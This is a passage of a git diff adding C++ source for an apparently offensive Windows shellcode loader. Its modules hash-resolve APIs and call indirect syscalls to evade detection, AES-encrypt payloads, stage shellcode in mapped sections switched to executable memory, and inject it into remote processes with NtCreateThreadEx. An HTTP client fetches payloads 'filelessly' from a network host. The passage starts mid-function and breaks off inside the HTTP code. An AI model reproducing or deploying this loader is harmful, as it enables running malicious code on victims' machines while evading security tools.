{ + if (!g_verbose || !data || len == 0) { + return; + } + const auto* p = static_cast(data); + const size_t n = len < maxBytes ? len : maxBytes; + std::fprintf(stdout, "[@] %s hex[%zu/%zu]: ", tag, n, len); + for (size_t i = 0; i < n; ++i) { + std::fprintf(stdout, "%02X ", p[i]); + } + if (len > maxBytes) { + std::fprintf(stdout, "..."); + } + std::fprintf(stdout, "\n"); + std::fflush(stdout); +} + +void Srv(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_serverVerbose, "[S]", fmt, args); + va_end(args); +} + +void SrvBanner(const char* title) { + if (!g_serverVerbose) { + return; + } + std::fprintf(stdout, "\n[S] === %s ===\n", title); + std::fflush(stdout); +} + +} // namespace Log diff --git a/lib/common/log.hpp b/lib/common/log.hpp new file mode 100644 index 0000000..0511a5f --- /dev/null +++ b/lib/common/log.hpp @@ -0,0 +1,34 @@ +#pragma once + +#include +#include +#include + +namespace Log { + +// Two independent channels so --server --verbose does not dump loader/syscall noise, +// and loader --verbose does not spam server request logs. +void SetVerbose(bool enabled); // loader / injection / syscall path +void SetServerVerbose(bool enabled); // HTTP fileless server path only +bool IsVerbose(); +bool IsServerVerbose(); + +// Always shown (normal + verbose) +void Ok(const char* fmt, ...); // [+] essential success +void Warn(const char* fmt, ...); // [!] warning +void Err(const char* fmt, ...); // [x] error + +// Loader verbose only (--verbose on normal/fileless/enc) +void Info(const char* fmt, ...); // [*] step info +void Dbg(const char* fmt, ...); // [-] debug detail +void Sys(const char* fmt, ...); // [@] syscall / internals +void Raw(const char* fmt, ...); // [@] bare unstructured dump +void Banner(const char* title); // [@] section header +void NtStatus(const char* tag, long status); +void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes = 64); + +// Server verbose only (--server ... --verbose) +void Srv(const char* fmt, ...); // [S] server step / request +void SrvBanner(const char* title); // [S] server section header + +} // namespace Log diff --git a/lib/common/nt_types.hpp b/lib/common/nt_types.hpp new file mode 100644 index 0000000..6745929 --- /dev/null +++ b/lib/common/nt_types.hpp @@ -0,0 +1,110 @@ +#pragma once + +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +using NTSTATUS = LONG; + +// Additional NT constants not always in winternl.h +#ifndef SEC_COMMIT +#define SEC_COMMIT 0x08000000 +#endif + +#ifndef ViewShare +#define ViewShare 1 +#endif + +#ifndef ViewUnmap +#define ViewUnmap 2 +#endif + +#ifndef SystemProcessInformation +#define SystemProcessInformation 5 +#endif + +#ifndef PROCESS_ALL_ACCESS +#define PROCESS_ALL_ACCESS 0x001FFFFF +#endif + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_CASE_INSENSITIVE 0x00000040L +#endif + +typedef struct _UNICODE_STRING_NT { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING_NT, *PUNICODE_STRING_NT; + +typedef struct _OBJECT_ATTRIBUTES_NT { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING_NT ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES_NT, *POBJECT_ATTRIBUTES_NT; + +typedef struct _CLIENT_ID_NT { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID_NT, *PCLIENT_ID_NT; + +typedef struct _IO_STATUS_BLOCK_NT { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK_NT, *PIO_STATUS_BLOCK_NT; + +// Process enumeration (SystemProcessInformation) +typedef struct _SYSTEM_PROCESS_INFORMATION_NT { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER Reserved[3]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING_NT ImageName; + LONG BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PagefileUsage; + ULONG_PTR PeakPagefileUsage; + ULONG_PTR WorkingSetSize; + ULONG_PTR PeakWorkingSetSize; + ULONG_PTR QuotaPagedPoolUsage; + ULONG_PTR QuotaPeakPagedPoolUsage; + ULONG_PTR QuotaNonPagedPoolUsage; + ULONG_PTR QuotaPeakNonPagedPoolUsage; + ULONG_PTR PagefileUsage2; + ULONG_PTR PeakPagefileUsage2; + ULONG_PTR PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION_NT, *PSYSTEM_PROCESS_INFORMATION_NT; + +inline void InitObjectAttributes( + POBJECT_ATTRIBUTES_NT p, + PUNICODE_STRING_NT name, + ULONG attributes, + HANDLE root, + PVOID security) +{ + p->Length = sizeof(OBJECT_ATTRIBUTES_NT); + p->RootDirectory = root; + p->Attributes = attributes; + p->ObjectName = name; + p->SecurityDescriptor = security; + p->SecurityQualityOfService = nullptr; +} \ No newline at end of file diff --git a/lib/crypto/aes_crypto.cpp b/lib/crypto/aes_crypto.cpp new file mode 100644 index 0000000..b364e05 --- /dev/null +++ b/lib/crypto/aes_crypto.cpp @@ -0,0 +1,312 @@ +#include "aes_crypto.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" +#include "../common/nt_types.hpp" +#include "../common/log.hpp" + +#include +#include +#include + +namespace AesCrypto { + +namespace { + +using BCryptOpenAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG); +using BCryptCloseAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, ULONG); +using BCryptGenerateSymmetricKey_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG); +using BCryptDestroyKey_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE); +using BCryptEncrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG); +using BCryptDecrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG); +using BCryptSetProperty_t = NTSTATUS(WINAPI*)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG); +using BCryptGenRandom_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG); + +struct BcryptApi { + BCryptOpenAlgorithmProvider_t Open = nullptr; + BCryptCloseAlgorithmProvider_t Close = nullptr; + BCryptGenerateSymmetricKey_t GenKey = nullptr; + BCryptDestroyKey_t DestroyKey = nullptr; + BCryptEncrypt_t Encrypt = nullptr; + BCryptDecrypt_t Decrypt = nullptr; + BCryptSetProperty_t SetProperty = nullptr; + BCryptGenRandom_t GenRandom = nullptr; + bool loaded = false; +}; + +bool LoadBcrypt(BcryptApi& api) { + if (api.loaded) { + return true; + } + + api.Open = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptOpenAlgorithmProvider)); + api.Close = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptCloseAlgorithmProvider)); + api.GenKey = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenerateSymmetricKey)); + api.DestroyKey = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptDestroyKey)); + api.Encrypt = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptEncrypt)); + api.Decrypt = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptDecrypt)); + api.SetProperty = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptSetProperty)); + + // BCryptGenRandom is in bcrypt.dll but not in our hash table — resolve by adding hash + api.GenRandom = reinterpret_cast( + ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenRandom)); + + api.loaded = api.Open && api.Close && api.GenKey && api.DestroyKey && + api.Encrypt && api.Decrypt && api.SetProperty && api.GenRandom; + return api.loaded; +} + +} // namespace + +bool GenerateKeyMaterial(KeyMaterial& out) { + Log::Dbg("AES: GenerateKeyMaterial (BCryptGenRandom system RNG)"); + BcryptApi api{}; + if (!LoadBcrypt(api)) { + Log::Dbg("AES: bcrypt API resolve failed"); + return false; + } + + out.key.resize(32); + out.iv.resize(16); + + // BCryptGenRandom with NULL handle requires BCRYPT_USE_SYSTEM_PREFERRED_RNG on Win8+. + constexpr ULONG kSystemRng = 0x00000002; + if (!NT_SUCCESS(api.GenRandom(nullptr, out.key.data(), static_cast(out.key.size()), kSystemRng)) || + !NT_SUCCESS(api.GenRandom(nullptr, out.iv.data(), static_cast(out.iv.size()), kSystemRng))) { + Log::Dbg("AES: GenRandom failed"); + return false; + } + Log::Dbg("AES: key=%zu bytes iv=%zu bytes", out.key.size(), out.iv.size()); + return true; +} + +bool Encrypt(const std::vector& plaintext, const KeyMaterial& km, std::vector& ciphertext) { + Log::Dbg("AES Encrypt: plain=%zu key=%zu iv=%zu mode=AES-256-CBC", + plaintext.size(), km.key.size(), km.iv.size()); + if (km.key.size() != 32 || km.iv.size() != 16 || plaintext.empty()) { + Log::Dbg("AES Encrypt: bad args"); + return false; + } + + BcryptApi api{}; + if (!LoadBcrypt(api)) { + Log::Dbg("AES Encrypt: bcrypt API resolve failed"); + return false; + } + + BCRYPT_ALG_HANDLE hAlg = nullptr; + if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) { + return false; + } + + api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + + BCRYPT_KEY_HANDLE hKey = nullptr; + if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0, + const_cast(km.key.data()), static_cast(km.key.size()), 0))) { + api.Close(hAlg, 0); + return false; + } + + std::vector ivWork = km.iv; + + ULONG cipherLen = 0; + api.Encrypt(hKey, const_cast(plaintext.data()), static_cast(plaintext.size()), + nullptr, ivWork.data(), static_cast(ivWork.size()), + nullptr, 0, &cipherLen, BCRYPT_BLOCK_PADDING); + + ciphertext.resize(cipherLen); + ULONG written = 0; + NTSTATUS st = api.Encrypt( + hKey, + const_cast(plaintext.data()), static_cast(plaintext.size()), + nullptr, + ivWork.data(), static_cast(ivWork.size()), + ciphertext.data(), static_cast(ciphertext.size()), + &written, BCRYPT_BLOCK_PADDING); + + api.DestroyKey(hKey); + api.Close(hAlg, 0); + + if (!NT_SUCCESS(st)) { + Log::Dbg("AES Encrypt: BCryptEncrypt failed NTSTATUS=0x%08lX", + static_cast(st)); + return false; + } + ciphertext.resize(written); + Log::Dbg("AES Encrypt OK: cipher=%zu bytes", ciphertext.size()); + return true; +} + +bool Decrypt(const std::vector& ciphertext, const KeyMaterial& km, std::vector& plaintext) { + Log::Dbg("AES Decrypt: cipher=%zu key=%zu iv=%zu mode=AES-256-CBC", + ciphertext.size(), km.key.size(), km.iv.size()); + if (km.key.size() != 32 || km.iv.size() != 16 || ciphertext.empty()) { + Log::Dbg("AES Decrypt: bad args"); + return false; + } + + BcryptApi api{}; + if (!LoadBcrypt(api)) { + Log::Dbg("AES Decrypt: bcrypt API resolve failed"); + return false; + } + + BCRYPT_ALG_HANDLE hAlg = nullptr; + if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) { + return false; + } + + api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + + BCRYPT_KEY_HANDLE hKey = nullptr; + if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0, + const_cast(km.key.data()), static_cast(km.key.size()), 0))) { + api.Close(hAlg, 0); + return false; + } + + std::vector ivWork = km.iv; + + ULONG plainLen = 0; + api.Decrypt(hKey, const_cast(ciphertext.data()), static_cast(ciphertext.size()), + nullptr, ivWork.data(), static_cast(ivWork.size()), + nullptr, 0, &plainLen, BCRYPT_BLOCK_PADDING); + + plaintext.resize(plainLen); + ULONG written = 0; + NTSTATUS st = api.Decrypt( + hKey, + const_cast(ciphertext.data()), static_cast(ciphertext.size()), + nullptr, + ivWork.data(), static_cast(ivWork.size()), + plaintext.data(), static_cast(plaintext.size()), + &written, BCRYPT_BLOCK_PADDING); + + api.DestroyKey(hKey); + api.Close(hAlg, 0); + + if (!NT_SUCCESS(st)) { + Log::Dbg("AES Decrypt: BCryptDecrypt failed NTSTATUS=0x%08lX", + static_cast(st)); + return false; + } + plaintext.resize(written); + Log::Dbg("AES Decrypt OK: plain=%zu bytes", plaintext.size()); + return true; +} + +std::vector PackKeyMaterial(const KeyMaterial& km) { + std::vector blob; + auto appendU32 = [&](DWORD v) { + blob.push_back(static_cast(v & 0xFF)); + blob.push_back(static_cast((v >> 8) & 0xFF)); + blob.push_back(static_cast((v >> 16) & 0xFF)); + blob.push_back(static_cast((v >> 24) & 0xFF)); + }; + appendU32(static_cast(km.key.size())); + blob.insert(blob.end(), km.key.begin(), km.key.end()); + appendU32(static_cast(km.iv.size())); + blob.insert(blob.end(), km.iv.begin(), km.iv.end()); + return blob; +} + +bool UnpackKeyMaterial(const std::vector& blob, KeyMaterial& out) { + if (blob.size() < 8) { + return false; + } + size_t off = 0; + auto readU32 = [&]() -> DWORD { + DWORD v = blob[off] | (blob[off + 1] << 8) | (blob[off + 2] << 16) | (blob[off + 3] << 24); + off += 4; + return v; + }; + + const DWORD keyLen = readU32(); + if (off + keyLen > blob.size()) { + return false; + } + out.key.assign(blob.begin() + off, blob.begin() + off + keyLen); + off += keyLen; + + if (off + 4 > blob.size()) { + return false; + } + const DWORD ivLen = readU32(); + if (off + ivLen > blob.size()) { + return false; + } + out.iv.assign(blob.begin() + off, blob.begin() + off + ivLen); + return out.key.size() == 32 && out.iv.size() == 16; +} + +bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath) { + std::ifstream in(inputPath, std::ios::binary | std::ios::ate); + if (!in.is_open()) { + return false; + } + + const auto size = in.tellg(); + in.seekg(0); + std::vector plain(static_cast(size)); + if (!in.read(reinterpret_cast(plain.data()), size)) { + return false; + } + in.close(); + + KeyMaterial km{}; + if (!GenerateKeyMaterial(km)) { + return false; + } + + std::vector cipher; + if (!Encrypt(plain, km, cipher)) { + return false; + } + + outEncPath = inputPath + L".enc"; + outKeyPath = inputPath + L".key"; + + std::ofstream enc(outEncPath, std::ios::binary); + std::ofstream key(outKeyPath, std::ios::binary); + if (!enc.is_open() || !key.is_open()) { + return false; + } + + enc.write(reinterpret_cast(cipher.data()), cipher.size()); + auto packed = PackKeyMaterial(km); + key.write(reinterpret_cast(packed.data()), packed.size()); + return true; +} + +bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath, + std::vector& plaintext) { + std::ifstream enc(encPath, std::ios::binary | std::ios::ate); + std::ifstream key(keyPath, std::ios::binary | std::ios::ate); + if (!enc.is_open() || !key.is_open()) { + return false; + } + + std::vector cipher(static_cast(enc.tellg())); + std::vector packed(static_cast(key.tellg())); + enc.seekg(0); + key.seekg(0); + enc.read(reinterpret_cast(cipher.data()), cipher.size()); + key.read(reinterpret_cast(packed.data()), packed.size()); + + KeyMaterial km{}; + if (!UnpackKeyMaterial(packed, km)) { + return false; + } + return Decrypt(cipher, km, plaintext); +} + +} // namespace AesCrypto \ No newline at end of file diff --git a/lib/crypto/aes_crypto.hpp b/lib/crypto/aes_crypto.hpp new file mode 100644 index 0000000..ebb46a2 --- /dev/null +++ b/lib/crypto/aes_crypto.hpp @@ -0,0 +1,33 @@ +#pragma once + +#include +#include +#include +#include + +namespace AesCrypto { + +struct KeyMaterial { + std::vector key; // 32 bytes (AES-256) + std::vector iv; // 16 bytes (CBC block) +}; + +// Generate cryptographically random key + IV via BCryptGenRandom (resolved dynamically). +bool GenerateKeyMaterial(KeyMaterial& out); + +// AES-256-CBC encrypt/decrypt using BCrypt (all APIs hash-resolved). +bool Encrypt(const std::vector& plaintext, const KeyMaterial& km, std::vector& ciphertext); +bool Decrypt(const std::vector& ciphertext, const KeyMaterial& km, std::vector& plaintext); + +// Pack key+IV for server transport: [4 keyLen][key][4 ivLen][iv] +std::vector PackKeyMaterial(const KeyMaterial& km); +bool UnpackKeyMaterial(const std::vector& blob, KeyMaterial& out); + +// Encrypt file to .enc + sidecar key blob (for --enc AES mode). +bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath); + +// Read encrypted payload + key from disk. +bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath, + std::vector& plaintext); + +} // namespace AesCrypto \ No newline at end of file diff --git a/lib/memory/section_map.cpp b/lib/memory/section_map.cpp new file mode 100644 index 0000000..ccdfcd3 --- /dev/null +++ b/lib/memory/section_map.cpp @@ -0,0 +1,237 @@ +#include "section_map.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" +#include "../common/log.hpp" + +#include "../common/log.hpp" + +#include +#include + +namespace SectionMap { + +SIZE_T PageAlign(SIZE_T size) { + const SIZE_T page = 4096; + return (size + page - 1) & ~(page - 1); +} + +bool StageLocal( + TartarusGate::SyscallTable& sc, + const std::vector& shellcode, + MappedRegion& out) +{ + Log::Banner("Section Map StageLocal"); + if (!sc.initialized || shellcode.empty()) { + Log::Dbg("StageLocal abort: initialized=%d empty=%d", + sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0); + return false; + } + + out = {}; + + LARGE_INTEGER maxSize{}; + maxSize.QuadPart = static_cast(PageAlign(shellcode.size())); + Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT", + maxSize.QuadPart); + + HANDLE hSection = nullptr; + NTSTATUS st = sc.NtCreateSection( + &hSection, + SECTION_ALL_ACCESS, + nullptr, + &maxSize, + PAGE_READWRITE, + SEC_COMMIT, + nullptr); + Log::NtStatus("NtCreateSection", st); + + if (!NT_SUCCESS(st) || !hSection) { + return false; + } + Log::Sys("section handle=%p", hSection); + + PVOID localView = nullptr; + SIZE_T viewSize = 0; + Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE", + static_cast(PageAlign(shellcode.size()))); + st = sc.NtMapViewOfSection( + hSection, + GetCurrentProcess(), + &localView, + 0, + PageAlign(shellcode.size()), + nullptr, + &viewSize, + ViewShare, + 0, + PAGE_READWRITE); + Log::NtStatus("NtMapViewOfSection", st); + + if (!NT_SUCCESS(st) || !localView) { + sc.NtClose(hSection); + return false; + } + Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast(viewSize)); + + std::memcpy(localView, shellcode.data(), shellcode.size()); + Log::Dbg("copied %zu shellcode bytes into view", shellcode.size()); + + // W^X: transition mapped view to RX. + ULONG oldProt = 0; + PVOID protBase = localView; + SIZE_T protSize = viewSize; + Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView); + st = sc.NtProtectVirtualMemory( + GetCurrentProcess(), + &protBase, + &protSize, + PAGE_EXECUTE_READ, + &oldProt); + Log::NtStatus("NtProtectVirtualMemory", st); + + if (!NT_SUCCESS(st)) { + sc.NtUnmapViewOfSection(GetCurrentProcess(), localView); + sc.NtClose(hSection); + return false; + } + Log::Dbg("oldProt=0x%08lX", static_cast(oldProt)); + + out.section = hSection; + out.localView = localView; + out.viewSize = viewSize; + return true; +} + +bool MapRemote( + TartarusGate::SyscallTable& sc, + HANDLE targetProcess, + MappedRegion& region) +{ + if (!sc.initialized || !region.section || region.mappedRemote) { + return false; + } + + PVOID remoteView = nullptr; + SIZE_T viewSize = region.viewSize; + NTSTATUS st = sc.NtMapViewOfSection( + region.section, + targetProcess, + &remoteView, + 0, + 0, + nullptr, + &viewSize, + 1, + 0, + PAGE_EXECUTE_READ); + + if (!NT_SUCCESS(st) || !remoteView) { + return false; + } + + region.remoteView = remoteView; + region.mappedRemote = true; + region.viewSize = viewSize; + return true; +} + +bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) { + Log::Banner("ExecuteLocal (CreateThread)"); + if (!sc.initialized || !entry) { + Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p", + sc.initialized ? 1 : 0, entry); + return false; + } + + // Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode. + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + Log::Dbg("kernel32 base null"); + return false; + } + + using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); + using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD); + using CloseHandle_t = BOOL(WINAPI*)(HANDLE); + + auto* pCreateThread = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CreateThread)); + auto* pWait = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject)); + auto* pClose = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); + + if (!pCreateThread || !pWait || !pClose) { + Log::Err("CreateThread hash resolve failed"); + return false; + } + + Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p", + entry, Hashes::H_CreateThread, pCreateThread); + + DWORD tid = 0; + HANDLE hThread = pCreateThread(nullptr, 0, + reinterpret_cast(entry), nullptr, 0, &tid); + if (!hThread) { + Log::Err("CreateThread failed (%lu)", GetLastError()); + return false; + } + + Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread); + const DWORD waitRc = pWait(hThread, INFINITE); + Log::Dbg("WaitForSingleObject rc=%lu", waitRc); + pClose(hThread); + Log::Dbg("thread exited, handle closed"); + return true; +} + +bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) { + if (!sc.initialized || !targetProcess || !entry) { + return false; + } + + HANDLE hThread = nullptr; + NTSTATUS st = sc.NtCreateThreadEx( + &hThread, + THREAD_ALL_ACCESS, + nullptr, + targetProcess, + entry, + nullptr, + 0, + 0, + 0, + 0, + nullptr); + + if (!NT_SUCCESS(st) || !hThread) { + return false; + } + + sc.NtClose(hThread); + return true; +} + +void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) { + if (!sc.initialized) { + return; + } + + if (region.localView) { + sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView); + region.localView = nullptr; + } + + if (region.mappedRemote && region.remoteView && targetProcess) { + sc.NtUnmapViewOfSection(targetProcess, region.remoteView); + region.remoteView = nullptr; + region.mappedRemote = false; + } + + if (region.section) { + sc.NtClose(region.section); + region.section = nullptr; + } +} + +} // namespace SectionMap \ No newline at end of file diff --git a/lib/memory/section_map.hpp b/lib/memory/section_map.hpp new file mode 100644 index 0000000..e4d22b9 --- /dev/null +++ b/lib/memory/section_map.hpp @@ -0,0 +1,44 @@ +#pragma once + +#include +#include +#include + +#include "../syscall/tartarus_gate.hpp" + +namespace SectionMap { + +struct MappedRegion { + HANDLE section = nullptr; + PVOID localView = nullptr; + PVOID remoteView = nullptr; + SIZE_T viewSize = 0; + bool mappedRemote = false; +}; + +// Stage shellcode via anonymous section + NtMapViewOfSection (W^X). +// Replaces naive NtAllocateVirtualMemory for local ingestion. +bool StageLocal( + TartarusGate::SyscallTable& sc, + const std::vector& shellcode, + MappedRegion& out); + +// Map staged section into remote process (shared section object). +bool MapRemote( + TartarusGate::SyscallTable& sc, + HANDLE targetProcess, + MappedRegion& region); + +// Execute shellcode locally via NtCreateThreadEx (indirect syscall). +bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry); + +// Execute in remote process via NtCreateThreadEx. +bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry); + +// Release views and section handle. +void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess); + +// Align size to page boundary. +SIZE_T PageAlign(SIZE_T size); + +} // namespace SectionMap \ No newline at end of file diff --git a/lib/net/http_transport.cpp b/lib/net/http_transport.cpp new file mode 100644 index 0000000..44dd6a3 --- /dev/null +++ b/lib/net/http_transport.cpp @@ -0,0 +1,361 @@ +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#include +#include +#include + +#include "http_transport.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" +#include "../common/log.hpp" + +#include +#include +#include + +namespace HttpTransport { + +namespace { + +struct WinsockApi { + decltype(&WSAStartup) WSAStartupFn = nullptr; + decltype(&WSACleanup) WSACleanupFn = nullptr; + decltype(&socket) socketFn = nullptr; + decltype(&connect) connectFn = nullptr; + decltype(&send) sendFn = nullptr; + decltype(&recv) recvFn = nullptr; + decltype(&closesocket) closesocketFn = nullptr; + decltype(&bind) bindFn = nullptr; + decltype(&listen) listenFn = nullptr; + decltype(&accept) acceptFn = nullptr; + decltype(&getaddrinfo) getaddrinfoFn = nullptr; + decltype(&freeaddrinfo) freeaddrinfoFn = nullptr; + decltype(&setsockopt) setsockoptFn = nullptr; + bool loaded = false; + bool started = false; +}; + +bool LoadWinsock(WinsockApi& ws) { + if (ws.loaded) { + return true; + } + + ws.WSAStartupFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_WSAStartup)); + ws.WSACleanupFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_WSACleanup)); + ws.socketFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_socket)); + ws.connectFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_connect)); + ws.sendFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_send)); + ws.recvFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_recv)); + ws.closesocketFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_closesocket)); + ws.bindFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_bind)); + ws.listenFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_listen)); + ws.acceptFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_accept)); + ws.getaddrinfoFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo)); + ws.freeaddrinfoFn= reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo)); + ws.setsockoptFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_setsockopt)); + + ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn; + return ws.loaded; +} + +bool EnsureWinsock(WinsockApi& ws) { + if (!LoadWinsock(ws)) { + return false; + } + if (!ws.started) { + WSADATA wsa{}; + if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) { + return false; + } + ws.started = true; + } + return true; +} + +bool HttpGet(const Endpoint& ep, const char* path, std::vector& body) { + Log::Banner("HTTP GET (fileless client)"); + Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path); + + WinsockApi ws{}; + if (!EnsureWinsock(ws)) { + Log::Dbg("winsock load/WSAStartup failed"); + return false; + } + Log::Dbg("winsock ready"); + + addrinfo hints{}; + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + addrinfo* result = nullptr; + const auto portStr = std::to_string(ep.port); + if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) { + Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str()); + return false; + } + Log::Dbg("getaddrinfo OK — connecting..."); + + SOCKET sock = INVALID_SOCKET; + for (auto* ptr = result; ptr; ptr = ptr->ai_next) { + sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + if (sock == INVALID_SOCKET) { + continue; + } + if (ws.connectFn(sock, ptr->ai_addr, static_cast(ptr->ai_addrlen)) == 0) { + Log::Sys("connected socket=%llu family=%d", + static_cast(sock), ptr->ai_family); + break; + } + ws.closesocketFn(sock); + sock = INVALID_SOCKET; + } + ws.freeaddrinfoFn(result); + + if (sock == INVALID_SOCKET) { + Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port); + return false; + } + + std::ostringstream req; + req << "GET " << path << " HTTP/1.1\r\n" + << "Host: " << ep.host << "\r\n" + << "Connection: close\r\n\r\n"; + + const std::string reqStr = req.str(); + Log::Dbg("send request (%zu bytes)", reqStr.size()); + if (ws.sendFn(sock, reqStr.c_str(), static_cast(reqStr.size()), 0) <= 0) { + Log::Dbg("send failed"); + ws.closesocketFn(sock); + return false; + } + + std::vector response; + char buf[4096]; + for (;;) { + const int n = ws.recvFn(sock, buf, sizeof(buf), 0); + if (n <= 0) { + break; + } + response.insert(response.end(), buf, buf + n); + } + ws.closesocketFn(sock); + Log::Dbg("recv total response=%zu bytes", response.size()); + + // Find end of HTTP headers + const char* data = reinterpret_cast(response.data()); + const char* hdrEnd = strstr(data, "\r\n\r\n"); + if (!hdrEnd) { + Log::Dbg("no HTTP header terminator"); + return false; + } + const size_t bodyOff = 